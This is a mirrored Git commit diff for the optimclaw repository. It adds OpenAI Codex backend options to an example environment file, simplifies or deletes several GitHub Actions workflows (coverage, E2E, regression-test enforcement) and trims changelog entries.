mirror of
https://github.com/outbackdingo/optimclaw.git
synced 2026-08-27 08:00:17 +00:00
Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
bcae0852df |
+13
-1
@@ -4,7 +4,7 @@ DATABASE_POOL_SIZE=10
|
|||||||
|
|
||||||
# LLM Provider
|
# LLM Provider
|
||||||
# LLM_BACKEND=nearai # default
|
# LLM_BACKEND=nearai # default
|
||||||
# Possible values: nearai, ollama, openai_compatible, openai, anthropic, tinfoil
|
# Possible values: nearai, ollama, openai_compatible, openai, anthropic, tinfoil, openai_codex
|
||||||
|
|
||||||
# === NEAR AI (Chat Completions API) ===
|
# === NEAR AI (Chat Completions API) ===
|
||||||
# Two auth modes:
|
# Two auth modes:
|
||||||
@@ -57,6 +57,18 @@ NEARAI_AUTH_URL=https://private.near.ai
|
|||||||
# LLM_BASE_URL=https://api.fireworks.ai/inference/v1
|
# LLM_BASE_URL=https://api.fireworks.ai/inference/v1
|
||||||
# LLM_API_KEY=fw_...
|
# LLM_API_KEY=fw_...
|
||||||
|
|
||||||
|
# === OpenAI Codex (Responses API) ===
|
||||||
|
# Two auth modes:
|
||||||
|
# 1. API key: Standard OpenAI billing (api.openai.com/v1/responses)
|
||||||
|
# 2. Codex CLI OAuth: ChatGPT subscription billing (chatgpt.com)
|
||||||
|
# Reads token from ~/.codex/auth.json (or $CODEX_HOME/auth.json)
|
||||||
|
# OPENAI_CODEX_MODEL=gpt-5.3-codex
|
||||||
|
# LLM_BACKEND=openai_codex
|
||||||
|
# OPENAI_CODEX_API_KEY=sk-... # API key mode
|
||||||
|
# CODEX_AUTH_PATH=~/.codex/auth.json # OAuth mode (default path)
|
||||||
|
# OPENAI_CODEX_ACCOUNT_ID=... # Required for ChatGPT endpoint
|
||||||
|
# OPENAI_CODEX_BASE_URL=... # Override base URL
|
||||||
|
|
||||||
# For full provider setup guide see docs/LLM_PROVIDERS.md
|
# For full provider setup guide see docs/LLM_PROVIDERS.md
|
||||||
|
|
||||||
# Channel Configuration
|
# Channel Configuration
|
||||||
|
|||||||
@@ -62,9 +62,6 @@ create "scope: ci" "546E7A" "CI/CD workflows"
|
|||||||
create "scope: docs" "78909C" "Documentation"
|
create "scope: docs" "78909C" "Documentation"
|
||||||
create "scope: dependencies" "90A4AE" "Dependency updates"
|
create "scope: dependencies" "90A4AE" "Dependency updates"
|
||||||
|
|
||||||
echo "==> Creating workflow labels..."
|
|
||||||
create "skip-regression-check" "9E9E9E" "Acknowledged: fix without regression test"
|
|
||||||
|
|
||||||
echo "==> Creating contributor labels..."
|
echo "==> Creating contributor labels..."
|
||||||
create "contributor: new" "FFF9C4" "First-time contributor"
|
create "contributor: new" "FFF9C4" "First-time contributor"
|
||||||
create "contributor: regular" "FFE082" "2-5 merged PRs"
|
create "contributor: regular" "FFE082" "2-5 merged PRs"
|
||||||
|
|||||||
@@ -3,56 +3,20 @@ on:
|
|||||||
pull_request:
|
pull_request:
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
format:
|
codestyle:
|
||||||
name: Formatting
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout repository
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
- name: Install Rust
|
|
||||||
uses: dtolnay/rust-toolchain@stable
|
|
||||||
with:
|
|
||||||
profile: minimal
|
|
||||||
components: rustfmt
|
|
||||||
- name: Check formatting
|
|
||||||
run: cargo fmt --all -- --check
|
|
||||||
|
|
||||||
clippy:
|
|
||||||
name: Clippy (${{ matrix.name }})
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
include:
|
|
||||||
- name: all-features
|
|
||||||
flags: "--all-features"
|
|
||||||
- name: default
|
|
||||||
flags: ""
|
|
||||||
- name: libsql-only
|
|
||||||
flags: "--no-default-features --features libsql"
|
|
||||||
steps:
|
|
||||||
- name: Checkout repository
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
- name: Install Rust
|
|
||||||
uses: dtolnay/rust-toolchain@stable
|
|
||||||
with:
|
|
||||||
profile: minimal
|
|
||||||
components: clippy
|
|
||||||
- uses: Swatinem/rust-cache@v2
|
|
||||||
with:
|
|
||||||
key: clippy-${{ matrix.name }}
|
|
||||||
- name: Check lints
|
|
||||||
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
|
|
||||||
|
|
||||||
# Roll-up job for branch protection
|
|
||||||
code-style:
|
|
||||||
name: Code Style (fmt + clippy)
|
name: Code Style (fmt + clippy)
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
if: always()
|
|
||||||
needs: [format, clippy]
|
|
||||||
steps:
|
steps:
|
||||||
- run: |
|
- name: Checkout repository
|
||||||
if [[ "${{ needs.format.result }}" != "success" || "${{ needs.clippy.result }}" != "success" ]]; then
|
uses: actions/checkout@v6
|
||||||
echo "One or more jobs failed"
|
- name: Install Rust
|
||||||
exit 1
|
uses: dtolnay/rust-toolchain@stable
|
||||||
fi
|
with:
|
||||||
|
profile: minimal
|
||||||
|
components: rustfmt, clippy
|
||||||
|
- uses: Swatinem/rust-cache@v2
|
||||||
|
- name: Check formatting
|
||||||
|
run: |
|
||||||
|
cargo fmt --all -- --check
|
||||||
|
- name: Check lints (cargo clippy)
|
||||||
|
run: cargo clippy -- -D warnings
|
||||||
|
|||||||
@@ -1,178 +0,0 @@
|
|||||||
name: Code Coverage
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches: [main]
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: read
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
coverage:
|
|
||||||
name: Coverage (${{ matrix.name }})
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
include:
|
|
||||||
- name: all-features
|
|
||||||
flags: "--all-features"
|
|
||||||
has_postgres: true
|
|
||||||
- name: default
|
|
||||||
flags: ""
|
|
||||||
has_postgres: true
|
|
||||||
- name: libsql-only
|
|
||||||
flags: "--no-default-features --features libsql"
|
|
||||||
has_postgres: false
|
|
||||||
services:
|
|
||||||
postgres:
|
|
||||||
image: pgvector/pgvector:pg16
|
|
||||||
env:
|
|
||||||
POSTGRES_USER: postgres
|
|
||||||
POSTGRES_PASSWORD: postgres
|
|
||||||
POSTGRES_DB: ironclaw_test
|
|
||||||
ports:
|
|
||||||
- 5432:5432
|
|
||||||
options: >-
|
|
||||||
--health-cmd "pg_isready -U postgres"
|
|
||||||
--health-interval 10s
|
|
||||||
--health-timeout 5s
|
|
||||||
--health-retries 5
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- uses: dtolnay/rust-toolchain@stable
|
|
||||||
with:
|
|
||||||
components: llvm-tools-preview
|
|
||||||
|
|
||||||
- uses: Swatinem/rust-cache@v2
|
|
||||||
with:
|
|
||||||
key: coverage-${{ matrix.name }}
|
|
||||||
|
|
||||||
- name: Install cargo-llvm-cov
|
|
||||||
uses: taiki-e/install-action@cargo-llvm-cov
|
|
||||||
|
|
||||||
- name: Run database migrations
|
|
||||||
if: matrix.has_postgres
|
|
||||||
run: |
|
|
||||||
set -euo pipefail
|
|
||||||
for f in migrations/V*.sql; do
|
|
||||||
echo "Applying $f..."
|
|
||||||
psql -v ON_ERROR_STOP=1 -f "$f"
|
|
||||||
done
|
|
||||||
env:
|
|
||||||
PGHOST: localhost
|
|
||||||
PGUSER: postgres
|
|
||||||
PGPASSWORD: postgres
|
|
||||||
PGDATABASE: ironclaw_test
|
|
||||||
|
|
||||||
- name: Set DATABASE_URL for postgres configs
|
|
||||||
if: matrix.has_postgres
|
|
||||||
run: echo "DATABASE_URL=postgres://postgres:postgres@localhost/ironclaw_test" >> "$GITHUB_ENV"
|
|
||||||
|
|
||||||
- name: Generate coverage
|
|
||||||
run: cargo llvm-cov ${{ matrix.flags }} --workspace --lcov --output-path lcov.info
|
|
||||||
|
|
||||||
- name: Upload to Codecov
|
|
||||||
uses: codecov/codecov-action@v5
|
|
||||||
with:
|
|
||||||
files: lcov.info
|
|
||||||
flags: ${{ matrix.name }}
|
|
||||||
disable_search: true
|
|
||||||
use_oidc: true
|
|
||||||
fail_ci_if_error: true
|
|
||||||
|
|
||||||
e2e-coverage:
|
|
||||||
name: E2E Coverage
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
timeout-minutes: 30
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- uses: dtolnay/rust-toolchain@stable
|
|
||||||
with:
|
|
||||||
components: llvm-tools-preview
|
|
||||||
|
|
||||||
- uses: Swatinem/rust-cache@v2
|
|
||||||
with:
|
|
||||||
key: e2e-coverage
|
|
||||||
|
|
||||||
- name: Install cargo-llvm-cov
|
|
||||||
uses: taiki-e/install-action@cargo-llvm-cov
|
|
||||||
|
|
||||||
- name: Set up coverage instrumentation
|
|
||||||
run: |
|
|
||||||
source <(cargo llvm-cov show-env --export-prefix)
|
|
||||||
# Persist env vars for subsequent steps
|
|
||||||
echo "RUSTFLAGS=${RUSTFLAGS}" >> "$GITHUB_ENV"
|
|
||||||
echo "LLVM_PROFILE_FILE=${LLVM_PROFILE_FILE}" >> "$GITHUB_ENV"
|
|
||||||
echo "CARGO_LLVM_COV=1" >> "$GITHUB_ENV"
|
|
||||||
echo "CARGO_LLVM_COV_SHOW_ENV=1" >> "$GITHUB_ENV"
|
|
||||||
echo "CARGO_LLVM_COV_TARGET_DIR=${CARGO_LLVM_COV_TARGET_DIR}" >> "$GITHUB_ENV"
|
|
||||||
cargo llvm-cov clean --workspace
|
|
||||||
|
|
||||||
- name: Build instrumented binary
|
|
||||||
run: cargo build --no-default-features --features libsql
|
|
||||||
|
|
||||||
- uses: actions/setup-python@v5
|
|
||||||
with:
|
|
||||||
python-version: "3.12"
|
|
||||||
|
|
||||||
- name: Install E2E dependencies
|
|
||||||
run: |
|
|
||||||
cd tests/e2e
|
|
||||||
pip install -e .
|
|
||||||
playwright install --with-deps chromium
|
|
||||||
|
|
||||||
- name: Run E2E tests
|
|
||||||
run: |
|
|
||||||
pytest tests/e2e/ -v -x --timeout=120
|
|
||||||
env:
|
|
||||||
RUST_LOG: ironclaw=info
|
|
||||||
RUST_BACKTRACE: "1"
|
|
||||||
|
|
||||||
- name: Verify profraw files exist
|
|
||||||
if: always()
|
|
||||||
run: |
|
|
||||||
echo "LLVM_PROFILE_FILE=${LLVM_PROFILE_FILE}"
|
|
||||||
echo "CARGO_LLVM_COV_TARGET_DIR=${CARGO_LLVM_COV_TARGET_DIR}"
|
|
||||||
profraw_count=$(find target/ -name '*.profraw' 2>/dev/null | wc -l)
|
|
||||||
echo "Found ${profraw_count} .profraw files under target/"
|
|
||||||
find target/ -name '*.profraw' 2>/dev/null || true
|
|
||||||
if [ "$profraw_count" -eq 0 ]; then
|
|
||||||
echo "::warning::No .profraw files found — coverage report will fail"
|
|
||||||
fi
|
|
||||||
|
|
||||||
- name: Generate coverage report
|
|
||||||
if: always()
|
|
||||||
run: cargo llvm-cov report --lcov --output-path e2e-coverage.info
|
|
||||||
|
|
||||||
- name: Upload to Codecov
|
|
||||||
if: always()
|
|
||||||
uses: codecov/codecov-action@v5
|
|
||||||
with:
|
|
||||||
files: e2e-coverage.info
|
|
||||||
flags: e2e
|
|
||||||
disable_search: true
|
|
||||||
use_oidc: true
|
|
||||||
fail_ci_if_error: true
|
|
||||||
|
|
||||||
- name: Upload screenshots on failure
|
|
||||||
if: failure()
|
|
||||||
uses: actions/upload-artifact@v4
|
|
||||||
with:
|
|
||||||
name: e2e-screenshots
|
|
||||||
path: tests/e2e/screenshots/
|
|
||||||
if-no-files-found: ignore
|
|
||||||
|
|
||||||
coverage-gate:
|
|
||||||
name: Coverage
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
if: always()
|
|
||||||
needs: [coverage, e2e-coverage]
|
|
||||||
steps:
|
|
||||||
- run: |
|
|
||||||
if [[ "${{ needs.coverage.result }}" != "success" || "${{ needs.e2e-coverage.result }}" != "success" ]]; then
|
|
||||||
echo "One or more coverage jobs failed"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
@@ -1,50 +0,0 @@
|
|||||||
name: E2E Tests
|
|
||||||
on:
|
|
||||||
schedule:
|
|
||||||
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
|
|
||||||
workflow_dispatch:
|
|
||||||
pull_request:
|
|
||||||
paths:
|
|
||||||
- "src/channels/web/**"
|
|
||||||
- "tests/e2e/**"
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
e2e:
|
|
||||||
name: Browser E2E
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
timeout-minutes: 30
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- uses: dtolnay/rust-toolchain@stable
|
|
||||||
|
|
||||||
- uses: actions/cache@v4
|
|
||||||
with:
|
|
||||||
path: |
|
|
||||||
target
|
|
||||||
~/.cargo/registry
|
|
||||||
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
|
|
||||||
|
|
||||||
- name: Build ironclaw (libsql)
|
|
||||||
run: cargo build --no-default-features --features libsql
|
|
||||||
|
|
||||||
- uses: actions/setup-python@v5
|
|
||||||
with:
|
|
||||||
python-version: "3.12"
|
|
||||||
|
|
||||||
- name: Install E2E dependencies
|
|
||||||
run: |
|
|
||||||
cd tests/e2e
|
|
||||||
pip install -e .
|
|
||||||
playwright install --with-deps chromium
|
|
||||||
|
|
||||||
- name: Run E2E tests
|
|
||||||
run: pytest tests/e2e/ -v -x --timeout=120
|
|
||||||
|
|
||||||
- name: Upload screenshots on failure
|
|
||||||
if: failure()
|
|
||||||
uses: actions/upload-artifact@v4
|
|
||||||
with:
|
|
||||||
name: e2e-screenshots
|
|
||||||
path: tests/e2e/screenshots/
|
|
||||||
if-no-files-found: ignore
|
|
||||||
@@ -1,107 +0,0 @@
|
|||||||
name: Regression Test Check
|
|
||||||
|
|
||||||
on:
|
|
||||||
pull_request:
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
regression-test:
|
|
||||||
name: Regression test enforcement
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout repository
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
with:
|
|
||||||
fetch-depth: 0
|
|
||||||
|
|
||||||
- name: Check for regression tests
|
|
||||||
env:
|
|
||||||
PR_TITLE: ${{ github.event.pull_request.title }}
|
|
||||||
PR_LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }}
|
|
||||||
run: |
|
|
||||||
set -euo pipefail
|
|
||||||
|
|
||||||
BASE_REF="origin/${{ github.event.pull_request.base.ref }}"
|
|
||||||
|
|
||||||
# --- 1. Is this a fix PR? Check title first, then commit messages ---
|
|
||||||
IS_FIX=false
|
|
||||||
|
|
||||||
if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$PR_TITLE"; then
|
|
||||||
IS_FIX=true
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ "$IS_FIX" = false ]; then
|
|
||||||
COMMITS=$(git log --format='%s' "${BASE_REF}..HEAD")
|
|
||||||
if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$COMMITS"; then
|
|
||||||
IS_FIX=true
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ "$IS_FIX" = false ]; then
|
|
||||||
echo "Not a fix PR — skipping regression test check."
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Fix PR detected."
|
|
||||||
|
|
||||||
# --- 2. Skip label or commit message marker ---
|
|
||||||
if grep -qF ',skip-regression-check,' <<< ",$PR_LABELS,"; then
|
|
||||||
echo "skip-regression-check label present — skipping."
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
COMMIT_BODIES=$(git log --format='%B' "${BASE_REF}..HEAD")
|
|
||||||
if grep -qF '[skip-regression-check]' <<< "$COMMIT_BODIES"; then
|
|
||||||
echo "[skip-regression-check] found in commit message — skipping."
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
# --- 3. Exempt static-only / docs-only changes ---
|
|
||||||
CHANGED_FILES=$(git diff --name-only "${BASE_REF}...HEAD")
|
|
||||||
|
|
||||||
if [ -z "$CHANGED_FILES" ]; then
|
|
||||||
echo "No changed files — skipping."
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
ALL_EXEMPT=true
|
|
||||||
while IFS= read -r file; do
|
|
||||||
case "$file" in
|
|
||||||
src/channels/web/static/*) ;;
|
|
||||||
*.md) ;;
|
|
||||||
*) ALL_EXEMPT=false; break ;;
|
|
||||||
esac
|
|
||||||
done <<< "$CHANGED_FILES"
|
|
||||||
|
|
||||||
if [ "$ALL_EXEMPT" = true ]; then
|
|
||||||
echo "All changes are static assets or docs — skipping."
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
# --- 4. Look for test changes ---
|
|
||||||
|
|
||||||
# Fast path: new test attributes or test modules in added lines.
|
|
||||||
if git diff "${BASE_REF}...HEAD" -U0 -- '*.rs' | grep -qE '^\+.*(#\[test\]|#\[tokio::test\]|#\[cfg\(test\)\]|mod tests)'; then
|
|
||||||
echo "Test changes found in .rs files."
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Whole-function context: detect edits inside existing test functions.
|
|
||||||
if git diff "${BASE_REF}...HEAD" -W -- '*.rs' | awk '
|
|
||||||
/^@@/ { if (has_test && has_add) { found=1; exit } has_test=0; has_add=0 }
|
|
||||||
/^ .*#\[test\]/ || /^ .*#\[tokio::test\]/ || /^ .*#\[cfg\(test\)\]/ || /^ .*mod tests/ { has_test=1 }
|
|
||||||
/^\+.*#\[test\]/ || /^\+.*#\[tokio::test\]/ || /^\+.*#\[cfg\(test\)\]/ || /^\+.*mod tests/ { has_test=1 }
|
|
||||||
/^\+[^+]/ { has_add=1 }
|
|
||||||
END { if (has_test && has_add) found=1; exit !found }
|
|
||||||
'; then
|
|
||||||
echo "Test changes found in existing test functions."
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
if grep -qE '^tests/' <<< "$CHANGED_FILES"; then
|
|
||||||
echo "Test file changes found under tests/."
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
# --- 5. No tests found ---
|
|
||||||
echo "::warning::This PR looks like a bug fix but contains no test changes. Every fix should include a regression test. Add a #[test] or #[tokio::test], or apply the 'skip-regression-check' label if not feasible."
|
|
||||||
exit 1
|
|
||||||
@@ -413,9 +413,6 @@ jobs:
|
|||||||
- build-wasm-extensions
|
- build-wasm-extensions
|
||||||
if: ${{ always() && needs.host.result == 'success' && needs.build-wasm-extensions.result == 'success' }}
|
if: ${{ always() && needs.host.result == 'success' && needs.build-wasm-extensions.result == 'success' }}
|
||||||
runs-on: "ubuntu-22.04"
|
runs-on: "ubuntu-22.04"
|
||||||
permissions:
|
|
||||||
contents: write
|
|
||||||
pull-requests: write
|
|
||||||
env:
|
env:
|
||||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
steps:
|
steps:
|
||||||
@@ -448,7 +445,7 @@ jobs:
|
|||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
done < "$CHECKSUMS"
|
done < "$CHECKSUMS"
|
||||||
- name: Create PR with updated manifests
|
- name: Commit updated manifests
|
||||||
run: |
|
run: |
|
||||||
git config user.name "github-actions[bot]"
|
git config user.name "github-actions[bot]"
|
||||||
git config user.email "github-actions[bot]@users.noreply.github.com"
|
git config user.email "github-actions[bot]@users.noreply.github.com"
|
||||||
@@ -456,15 +453,8 @@ jobs:
|
|||||||
if git diff --cached --quiet; then
|
if git diff --cached --quiet; then
|
||||||
echo "No manifest changes to commit"
|
echo "No manifest changes to commit"
|
||||||
else
|
else
|
||||||
BRANCH="chore/update-checksums-$(date +%s)"
|
|
||||||
git checkout -b "$BRANCH"
|
|
||||||
git commit -m "chore: update WASM artifact SHA256 checksums [skip ci]"
|
git commit -m "chore: update WASM artifact SHA256 checksums [skip ci]"
|
||||||
git push origin "$BRANCH"
|
git push
|
||||||
gh pr create \
|
|
||||||
--title "chore: update WASM artifact SHA256 checksums" \
|
|
||||||
--body "Auto-generated by release CI. Updates SHA256 checksums in registry manifests to match the released WASM artifacts." \
|
|
||||||
--base main \
|
|
||||||
--head "$BRANCH"
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
announce:
|
announce:
|
||||||
|
|||||||
+11
-57
@@ -7,63 +7,17 @@ on:
|
|||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
tests:
|
tests:
|
||||||
name: Tests (${{ matrix.name }})
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
include:
|
|
||||||
- name: all-features
|
|
||||||
flags: "--all-features"
|
|
||||||
- name: default
|
|
||||||
flags: ""
|
|
||||||
- name: libsql-only
|
|
||||||
flags: "--no-default-features --features libsql"
|
|
||||||
steps:
|
|
||||||
- name: Checkout repository
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
- name: Install Rust
|
|
||||||
uses: dtolnay/rust-toolchain@stable
|
|
||||||
with:
|
|
||||||
profile: minimal
|
|
||||||
- uses: Swatinem/rust-cache@v2
|
|
||||||
with:
|
|
||||||
key: ${{ matrix.name }}
|
|
||||||
- name: Run Tests
|
|
||||||
run: cargo test ${{ matrix.flags }} -- --nocapture
|
|
||||||
|
|
||||||
telegram-tests:
|
|
||||||
name: Telegram Channel Tests
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout repository
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
- name: Install Rust
|
|
||||||
uses: dtolnay/rust-toolchain@stable
|
|
||||||
with:
|
|
||||||
profile: minimal
|
|
||||||
- uses: Swatinem/rust-cache@v2
|
|
||||||
- name: Run Telegram Channel Tests
|
|
||||||
run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture
|
|
||||||
|
|
||||||
docker-build:
|
|
||||||
name: Docker Build
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout repository
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
- name: Build Docker image
|
|
||||||
run: docker build -t ironclaw-test:ci .
|
|
||||||
|
|
||||||
# Roll-up job for branch protection
|
|
||||||
run-tests:
|
|
||||||
name: Run Tests
|
name: Run Tests
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
if: always()
|
|
||||||
needs: [tests, telegram-tests, docker-build]
|
|
||||||
steps:
|
steps:
|
||||||
- run: |
|
- name: Checkout repository
|
||||||
if [[ "${{ needs.tests.result }}" != "success" || "${{ needs.telegram-tests.result }}" != "success" || "${{ needs.docker-build.result }}" != "success" ]]; then
|
uses: actions/checkout@v6
|
||||||
echo "One or more jobs failed"
|
- name: Install Rust
|
||||||
exit 1
|
uses: dtolnay/rust-toolchain@stable
|
||||||
fi
|
with:
|
||||||
|
profile: minimal
|
||||||
|
- uses: Swatinem/rust-cache@v2
|
||||||
|
- name: Run Tests
|
||||||
|
run: cargo test --all-features -- --nocapture
|
||||||
|
- name: Run Telegram Channel Tests
|
||||||
|
run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture
|
||||||
|
|||||||
-101
@@ -7,107 +7,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|||||||
|
|
||||||
## [Unreleased]
|
## [Unreleased]
|
||||||
|
|
||||||
## [0.15.0](https://github.com/nearai/ironclaw/compare/v0.14.0...v0.15.0) - 2026-03-04
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- *(oauth)* route callbacks through web gateway for hosted instances ([#555](https://github.com/nearai/ironclaw/pull/555))
|
|
||||||
- *(web)* show error details for failed tool calls ([#490](https://github.com/nearai/ironclaw/pull/490))
|
|
||||||
- *(extensions)* improve auth UX and add load-time validation ([#536](https://github.com/nearai/ironclaw/pull/536))
|
|
||||||
- add local-test skill and Dockerfile.test for web gateway testing ([#524](https://github.com/nearai/ironclaw/pull/524))
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- *(security)* restrict query-token auth to SSE endpoints only ([#528](https://github.com/nearai/ironclaw/pull/528))
|
|
||||||
- *(ci)* flush profraw coverage data in E2E teardown ([#550](https://github.com/nearai/ironclaw/pull/550))
|
|
||||||
- *(wasm)* coerce string parameters to schema-declared types ([#498](https://github.com/nearai/ironclaw/pull/498))
|
|
||||||
- *(agent)* strip leaked [Called tool ...] text from responses ([#497](https://github.com/nearai/ironclaw/pull/497))
|
|
||||||
- *(web)* reset job list UI on restart failure ([#499](https://github.com/nearai/ironclaw/pull/499))
|
|
||||||
- *(security)* replace .unwrap() panics in pairing store with proper error handling ([#515](https://github.com/nearai/ironclaw/pull/515))
|
|
||||||
|
|
||||||
### Other
|
|
||||||
|
|
||||||
- Fix UTF-8 unsafe truncation in sandbox log capture ([#359](https://github.com/nearai/ironclaw/pull/359))
|
|
||||||
- enhance coverage with feature matrix, postgres, and E2E ([#523](https://github.com/nearai/ironclaw/pull/523))
|
|
||||||
|
|
||||||
## [0.14.0](https://github.com/nearai/ironclaw/compare/v0.13.1...v0.14.0) - 2026-03-04
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- remove the okta tool ([#506](https://github.com/nearai/ironclaw/pull/506))
|
|
||||||
- add OAuth support for WASM tools in web gateway ([#489](https://github.com/nearai/ironclaw/pull/489))
|
|
||||||
- *(web)* fix jobs UI parity for non-sandbox mode ([#491](https://github.com/nearai/ironclaw/pull/491))
|
|
||||||
- *(workspace)* add TOOLS.md, BOOTSTRAP.md, and disk-to-DB import ([#477](https://github.com/nearai/ironclaw/pull/477))
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- *(web)* mobile browser bar obscures chat input ([#508](https://github.com/nearai/ironclaw/pull/508))
|
|
||||||
- *(web)* assign unique thread_id to manual routine triggers ([#500](https://github.com/nearai/ironclaw/pull/500))
|
|
||||||
- *(web)* refresh routine UI after Run Now trigger ([#501](https://github.com/nearai/ironclaw/pull/501))
|
|
||||||
- *(skills)* use slug for skill download URL from ClawHub ([#502](https://github.com/nearai/ironclaw/pull/502))
|
|
||||||
- *(workspace)* thread document path through search results ([#503](https://github.com/nearai/ironclaw/pull/503))
|
|
||||||
- *(workspace)* import custom templates before seeding defaults ([#505](https://github.com/nearai/ironclaw/pull/505))
|
|
||||||
- use std::sync::RwLock in MessageTool to avoid runtime panic ([#411](https://github.com/nearai/ironclaw/pull/411))
|
|
||||||
- wire secrets store into all WASM runtime activation paths ([#479](https://github.com/nearai/ironclaw/pull/479))
|
|
||||||
|
|
||||||
### Other
|
|
||||||
|
|
||||||
- enforce regression tests for fix commits ([#517](https://github.com/nearai/ironclaw/pull/517))
|
|
||||||
- add code coverage with cargo-llvm-cov and Codecov ([#511](https://github.com/nearai/ironclaw/pull/511))
|
|
||||||
- Remove restart infrastructure, generalize WASM channel setup ([#493](https://github.com/nearai/ironclaw/pull/493))
|
|
||||||
|
|
||||||
## [0.13.1](https://github.com/nearai/ironclaw/compare/v0.13.0...v0.13.1) - 2026-03-02
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- add Brave Web Search WASM tool ([#474](https://github.com/nearai/ironclaw/pull/474))
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- *(web)* auto-scroll and Enter key completion for slash command autocomplete ([#475](https://github.com/nearai/ironclaw/pull/475))
|
|
||||||
- correct download URLs for telegram-mtproto and slack-tool extensions ([#470](https://github.com/nearai/ironclaw/pull/470))
|
|
||||||
|
|
||||||
## [0.13.0](https://github.com/nearai/ironclaw/compare/v0.12.0...v0.13.0) - 2026-03-02
|
|
||||||
|
|
||||||
### Added
|
|
||||||
|
|
||||||
- *(cli)* add tool setup command + GitHub setup schema ([#438](https://github.com/nearai/ironclaw/pull/438))
|
|
||||||
- add web_fetch built-in tool ([#435](https://github.com/nearai/ironclaw/pull/435))
|
|
||||||
- *(web)* DB-backed Jobs tab + scheduler-dispatched local jobs ([#436](https://github.com/nearai/ironclaw/pull/436))
|
|
||||||
- *(extensions)* add OAuth setup UI for WASM tools + display name labels ([#437](https://github.com/nearai/ironclaw/pull/437))
|
|
||||||
- *(bootstrap)* auto-detect libsql when ironclaw.db exists ([#399](https://github.com/nearai/ironclaw/pull/399))
|
|
||||||
- *(web)* slash command autocomplete + /status /list + fix chat input locking ([#404](https://github.com/nearai/ironclaw/pull/404))
|
|
||||||
- *(routines)* deliver notifications to all installed channels ([#398](https://github.com/nearai/ironclaw/pull/398))
|
|
||||||
- *(web)* persist tool calls, restore approvals on thread switch, and UI fixes ([#382](https://github.com/nearai/ironclaw/pull/382))
|
|
||||||
- add IRONCLAW_BASE_DIR env var with LazyLock caching ([#397](https://github.com/nearai/ironclaw/pull/397))
|
|
||||||
- feat(signal) attachment upload + message tool ([#375](https://github.com/nearai/ironclaw/pull/375))
|
|
||||||
|
|
||||||
### Fixed
|
|
||||||
|
|
||||||
- *(channels)* add host-based credential injection to WASM channel wrapper ([#421](https://github.com/nearai/ironclaw/pull/421))
|
|
||||||
